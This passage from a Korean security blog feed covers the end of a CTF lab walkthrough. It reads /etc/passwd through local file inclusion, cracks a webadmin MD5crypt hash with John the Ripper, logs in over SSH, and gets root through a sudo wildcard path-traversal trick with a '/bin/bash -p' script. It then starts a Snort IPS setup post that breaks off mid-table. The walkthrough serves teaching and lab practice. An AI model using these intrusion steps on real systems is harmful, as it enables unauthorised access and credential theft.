&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;결정적증거 파일값.png&quot; data-origin-width=&quot;715&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GuFRP/dJMcabYxNxz/C8zXdKIraAi4o0d0WYMbhk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GuFRP/dJMcabYxNxz/C8zXdKIraAi4o0d0WYMbhk/img.png&quot; data-alt=&quot;file에 집중해주세요! file을 크랙하면 비밀번호로 갈 수 있습니다 왜냐?&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GuFRP/dJMcabYxNxz/C8zXdKIraAi4o0d0WYMbhk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGuFRP%2FdJMcabYxNxz%2FC8zXdKIraAi4o0d0WYMbhk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;715&quot; height=&quot;546&quot; data-filename=&quot;결정적증거 파일값.png&quot; data-origin-width=&quot;715&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;file에 집중해주세요! file을 크랙하면 비밀번호로 갈 수 있습니다 왜냐?&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;log변경기록.png&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;220&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKdDfs/dJMcahRWD8Q/P3DzoxfEvLMoZGjPeIw8gK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKdDfs/dJMcahRWD8Q/P3DzoxfEvLMoZGjPeIw8gK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKdDfs/dJMcahRWD8Q/P3DzoxfEvLMoZGjPeIw8gK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKdDfs%2FdJMcahRWD8Q%2FP3DzoxfEvLMoZGjPeIw8gK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;929&quot; height=&quot;220&quot; data-filename=&quot;log변경기록.png&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;220&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ef6f53;&quot;&gt;&lt;b&gt;위에 주소 http://ip/admin/logs/에 들어가보면 각 로그 3개의 파일이 있고 이 로그 파일에서 유저의 이름과 비번이 최근에 바뀌었다는걸 알 수 있으니 파일을 해독하면 플래그에 가까워진다는 의미입니다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;8단계. LFI(로컬 파일 인클루전)로 /etc/passwd 획득&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대시보드에 접근해 메뉴를 탐색하면 ?page=log 파라미터와 file POST 파라미터로 로그 파일을 읽어오는 기능이 있다.&lt;/p&gt;
&lt;pre class=&quot;livescript&quot;&gt;&lt;code&gt;curl &quot;http://172.16.11.221/admin/dashboard.php?page=log&quot; \
  --cookie &quot;pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh&quot; \
  -d &quot;file=../../../../../../../etc/passwd&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt;../를 반복해 웹루트를 벗어나 시스템 파일을 읽는 것이 &lt;b&gt;LFI(Local File Inclusion)&lt;/b&gt; 공격이다. file 파라미터의 입력값을 검증하지 않아서 가능하다. /etc/passwd를 읽으면 시스템 계정 목록이 출력되며, 하단에 다음 항목을 발견할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;elixir&quot;&gt;&lt;code&gt;webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;etcpaswd.png&quot; data-origin-width=&quot;986&quot; data-origin-height=&quot;531&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ovupx/dJMcabxqL1V/8wfIcODaC35OYKHOiZ7bj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ovupx/dJMcabxqL1V/8wfIcODaC35OYKHOiZ7bj0/img.png&quot; data-alt=&quot;맨 아래를 보세요! webadmin&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ovupx/dJMcabxqL1V/8wfIcODaC35OYKHOiZ7bj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fovupx%2FdJMcabxqL1V%2F8wfIcODaC35OYKHOiZ7bj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;986&quot; height=&quot;531&quot; data-filename=&quot;etcpaswd.png&quot; data-origin-width=&quot;986&quot; data-origin-height=&quot;531&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;맨 아래를 보세요! webadmin&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;9단계. 해시 크랙으로 SSH 접속&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$1$로 시작하는 해시는 &lt;b&gt;MD5crypt&lt;/b&gt; 방식이다. &lt;b&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt;John the Ripper로 크랙한다.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;nginx&quot;&gt;&lt;code&gt;echo 'webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' &amp;gt; pass.txt
john pass.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;진짜이이디비번.png&quot; data-origin-width=&quot;949&quot; data-origin-height=&quot;274&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XZ9nJ/dJMcacJVQxX/6bK9AAux4ncs1QAiWK2sN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XZ9nJ/dJMcacJVQxX/6bK9AAux4ncs1QAiWK2sN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XZ9nJ/dJMcacJVQxX/6bK9AAux4ncs1QAiWK2sN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXZ9nJ%2FdJMcacJVQxX%2F6bK9AAux4ncs1QAiWK2sN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;949&quot; height=&quot;274&quot; data-filename=&quot;진짜이이디비번.png&quot; data-origin-width=&quot;949&quot; data-origin-height=&quot;274&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과: 비밀번호 = &lt;b&gt;dragon&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;ssh webadmin@172.16.11.221
# password: dragon
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSH 접속 성공 후 홈 디렉터리에서 user.txt 플래그를 획득한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;웹서버로 들어옴.png&quot; data-origin-width=&quot;1069&quot; data-origin-height=&quot;314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWmaqd/dJMcaiXAUFn/CHui15iFcECIEjm3lorWLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWmaqd/dJMcaiXAUFn/CHui15iFcECIEjm3lorWLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWmaqd/dJMcaiXAUFn/CHui15iFcECIEjm3lorWLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWmaqd%2FdJMcaiXAUFn%2FCHui15iFcECIEjm3lorWLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1069&quot; height=&quot;314&quot; data-filename=&quot;웹서버로 들어옴.png&quot; data-origin-width=&quot;1069&quot; data-origin-height=&quot;314&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;10단계. 권한 상승 (PrivEsc)으로 root 획득&lt;/h2&gt;
&lt;pre class=&quot;ebnf&quot;&gt;&lt;code&gt;sudo -l
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sudo -l은 현재 사용자가 sudo로 실행 가능한 명령어 목록을 보여준다. 결과는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ls기록.png&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;308&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csaqnk/dJMcaiwySML/AjIfbfKKnXQXxZybtbXFGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csaqnk/dJMcaiwySML/AjIfbfKKnXQXxZybtbXFGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csaqnk/dJMcaiwySML/AjIfbfKKnXQXxZybtbXFGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcsaqnk%2FdJMcaiwySML%2FAjIfbfKKnXQXxZybtbXFGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;929&quot; height=&quot;308&quot; data-filename=&quot;ls기록.png&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;308&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;(ALL) /bin/nice /notes/*
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/notes/ 디렉터리 안의 모든 파일을 root 권한으로 실행할 수 있다는 의미다. 그런데 /notes/ 안에 직접 파일을 생성하거나 수정하는 권한이 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;우회 방법 &amp;mdash; sudo 경로 트래버설:&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/notes/* 와일드카드는 /notes/ 하위 파일만 허용하는 것처럼 보이지만, ../를 사용하면 다른 경로의 파일을 지정할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;cd /tmp
echo &quot;/bin/bash -p&quot; &amp;gt; exploit.sh
chmod +x exploit.sh
sudo /bin/nice /notes/../tmp/exploit.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/notes/../tmp/exploit.sh는 결국 /tmp/exploit.sh와 같은 경로지만, sudo 규칙의 /notes/* 패턴을 통과한다. -p 옵션은 SUID 권한을 유지한 채 bash를 실행해 root 쉘을 얻는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;bash쉘 만들기.png&quot; data-origin-width=&quot;647&quot; data-origin-height=&quot;96&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3Q9Xy/dJMcafNqZIc/gXASsvAt1pyEFZLozcir11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3Q9Xy/dJMcafNqZIc/gXASsvAt1pyEFZLozcir11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3Q9Xy/dJMcafNqZIc/gXASsvAt1pyEFZLozcir11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3Q9Xy%2FdJMcafNqZIc%2FgXASsvAt1pyEFZLozcir11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;647&quot; height=&quot;96&quot; data-filename=&quot;bash쉘 만들기.png&quot; data-origin-width=&quot;647&quot; data-origin-height=&quot;96&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;whoami
# root

cat /root/root.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;root획득.png&quot; data-origin-width=&quot;788&quot; data-origin-height=&quot;151&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kOcOA/dJMcaciMynO/GugHih4UJfJ43fXAL0FZd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kOcOA/dJMcaciMynO/GugHih4UJfJ43fXAL0FZd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kOcOA/dJMcaciMynO/GugHih4UJfJ43fXAL0FZd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkOcOA%2FdJMcaciMynO%2FGugHih4UJfJ43fXAL0FZd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;788&quot; height=&quot;151&quot; data-filename=&quot;root획득.png&quot; data-origin-width=&quot;788&quot; data-origin-height=&quot;151&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;root.txt의 내용을 base64 디코딩하면 최종 플래그를 획득한다.&lt;/p&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;echo &quot;bGljb3JuZSB1bmlxYW1iaXN0Z...&quot; | base64 -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;플래그.png&quot; data-origin-width=&quot;918&quot; data-origin-height=&quot;55&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rzFW0/dJMcacQEhcD/b7RzBFiqnGWzPSDwTuQJyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rzFW0/dJMcacQEhcD/b7RzBFiqnGWzPSDwTuQJyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rzFW0/dJMcacQEhcD/b7RzBFiqnGWzPSDwTuQJyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrzFW0%2FdJMcacQEhcD%2Fb7RzBFiqnGWzPSDwTuQJyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;918&quot; height=&quot;55&quot; data-filename=&quot;플래그.png&quot; data-origin-width=&quot;918&quot; data-origin-height=&quot;55&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;최종.png&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;88&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/opg6Q/dJMcahYJbXi/R2X1MKr9o89jjr8NVcGdG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/opg6Q/dJMcahYJbXi/R2X1MKr9o89jjr8NVcGdG0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/opg6Q/dJMcahYJbXi/R2X1MKr9o89jjr8NVcGdG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fopg6Q%2FdJMcahYJbXi%2FR2X1MKr9o89jjr8NVcGdG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;948&quot; height=&quot;88&quot; data-filename=&quot;최종.png&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;88&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;공격 흐름 요약&lt;/h2&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;네트워크 스캔 &amp;rarr; 포트 스캔 &amp;rarr; 웹 열거
&amp;rarr; FTP 익명 로그인 &amp;rarr; 소스코드 획득
&amp;rarr; PHP Type Juggling 로그인 우회
&amp;rarr; LFI로 /etc/passwd 획득
&amp;rarr; MD5 해시 크랙 &amp;rarr; SSH 접속 (user.txt)
&amp;rarr; sudo 경로 트래버설 &amp;rarr; root 쉘 (root.txt)
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>CTF</category>
      <author>palantirops</author>
      <guid isPermaLink="true">https://palantirops.tistory.com/46</guid>
      <comments>https://palantirops.tistory.com/46#entry46comment</comments>
      <pubDate>Fri, 15 May 2026 17:36:26 +0900</pubDate>
    </item>
    <item>
      <title>[ubuntu &amp;amp; kali &amp;amp; CTF Lupinone]  Snort IPS 구성부터 CTF 권한 상승까지</title>
      <link>https://palantirops.tistory.com/45</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 Snort를 이용한 IPS 환경 구성, 리눅스 특수 권한 개념, 그리고 CTF 문제 풀이까지 진행했다. 각 주제를 순서대로 정리한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 실습 환경 구성&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가상머신 세 대를 기반으로 실습을 진행했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;머신 역할&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Ubuntu (원본)&lt;/td&gt;
&lt;td&gt;Snort + OSSEC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ubuntu (리버스)&lt;/td&gt;
&lt;td&gt;Snort 2.9.x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kali Linux&lt;/td&gt;
&lt;td&gt;Suricata / 공격자 역할&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ubuntu 머신에는 네트워크 어댑터를 두 개 연결했다. 하나는 NAT, 하나는 브릿지 모드로 설정하고, 두 어댑터 모두 Promiscuous Mode(무차별 모드)를 허용했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Promiscuous Mode란?&lt;/b&gt; 일반적으로 NIC(네트워크 카드)는 자신의 MAC 주소로 향하는 패킷만 받아들인다. Promiscuous Mode를 활성화하면 네트워크를 지나는 모든 패킷을 수신한다. IDS/IPS가 트래픽 전체를 감시하려면 반드시 필요한 설정이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 네트워크 초기 세팅&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정적 IP와 DHCP가 충돌하면 게이트웨이가 사라지는 문제가 반복됐다. 매번 아래 명령어로 수동 복구했다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# IP 수동 할당
sudo ip addr add 172.16.11.236/24 dev enp0s3

# 인터페이스 활성화
sudo ip link set enp0s3 up
sudo ip link set enp0s8 up

# 기본 게이트웨이 설정
sudo ip route add default via 172.16.11.254 dev enp0s3

# Promiscuous Mode 활성화
sudo ip link set enp0s3 promisc on
sudo ip link set enp0s8 promisc on

# 인터페이스 상태 확인
sudo ip link show enp0s3
ip addr
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. Snort 2.9 IPS 구성&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;설치&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;sudo apt install -y snort
# 설치 중 네트워크 대역 입력: 172.16.11.0/24

sudo snort -V
# Snort 2.9.20 확인
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;snort.conf 설정&lt;/h3&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;sudo vi /etc/snort/snort.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가 또는 수정할 항목:&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;config daq: afpacket
config daq_mode: inline
config logdir: /var/log/snort
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;각 설정의 의미&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정 설명&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;daq: afpacket&lt;/td&gt;
&lt;td&gt;리눅스 커널의 AF_PACKET 소켓을 사용해 패킷을 직접 처리한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;daq_mode: &lt;b&gt;inline&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;패킷을 감시만 하는 것이 아니라 차단까지 수행하는 IPS 모드&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;logdir&lt;/td&gt;
&lt;td&gt;탐지 로그 저장 경로&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Snort 3.x는 Lua 기반으로 설정 구조가 완전히 다르다. 2.9 버전 기준으로 작성된 설정이므로 혼용하지 않도록 주의한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;설정 검증 및 실행&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# 설정 파일 문법 검사
sudo snort -T -c /etc/snort/snort.conf -i enp0s3:enp0s8
# &quot;Successfully validated the Snort configuration&quot; 확인

# IPS 모드 실행
sudo snort -A console -Q -c /etc/snort/snort.conf -i enp0s3:enp0s8
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;옵션 설명&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;옵션 의미&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;-A console&lt;/td&gt;
&lt;td&gt;탐지 결과를 터미널에 실시간 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-Q&lt;/td&gt;
&lt;td&gt;inline(IPS) 모드 활성화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-c&lt;/td&gt;
&lt;td&gt;설정 파일 경로 지정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-i enp0s3:enp0s8&lt;/td&gt;
&lt;td&gt;두 인터페이스를 묶어 인라인 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;ICMP 차단 룰 작성&lt;/h3&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;sudo vi /etc/snort/rules/local.rules
&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;drop icmp any any -&amp;gt; any any (msg:&quot;IPS PING TEST&quot;; sid:1000001; rev:1;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;룰 구조 설명&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;항목 값 의미&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;액션&lt;/td&gt;
&lt;td&gt;drop&lt;/td&gt;
&lt;td&gt;패킷을 차단하고 로그 기록&lt;/td&gt;
